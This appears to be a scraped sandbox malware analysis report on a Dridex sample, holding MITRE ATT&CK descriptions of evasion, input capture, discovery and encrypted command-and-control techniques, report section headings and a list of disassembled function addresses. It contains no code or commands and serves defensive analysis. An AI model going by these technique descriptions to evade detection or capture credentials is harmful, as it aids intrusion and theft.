Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report P0DNoD3M7G

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 912 Parent PID: 5616

Function 70AA07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Function 70AA218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Function 70AA2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Function 70AA3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 00EA1962, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187
memoryCOMMON

Function 70AA1140, Relevance: 3.1, APIs: 2, Instructions: 91
COMMON

Function 70AA5720, Relevance: 3.1, APIs: 2, Instructions: 74
registryCOMMON

Function 70AA5AA8, Relevance: 1.6, APIs: 1, Instructions: 123
COMMON

Function 70AA5B51, Relevance: 1.6, APIs: 1, Instructions: 63
fileCOMMON

Function 70AA5B29, Relevance: 1.6, APIs: 1, Instructions: 57
fileCOMMON

Function 70AA5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Function 70AA5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Function 70AA5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Function 70AA5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Function 70AA10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 70AA55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Function 70AA5DF0, Relevance: 1.5, APIs: 1, Instructions: 45
fileCOMMON

Function 70AA3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Function 70A99144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Function 70A91494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Function 70A9A5A4, Relevance: 1.8, Strings: 1, Instructions: 537
COMMONCrypto

Function 70A984E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 70AA92DC, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Function 70AA14D8, Relevance: .6, Instructions: 572
COMMONCrypto

Function 70A96DC8, Relevance: .0, Instructions: 36
COMMON

Function 70A9BC00, Relevance: .0, Instructions: 16
COMMON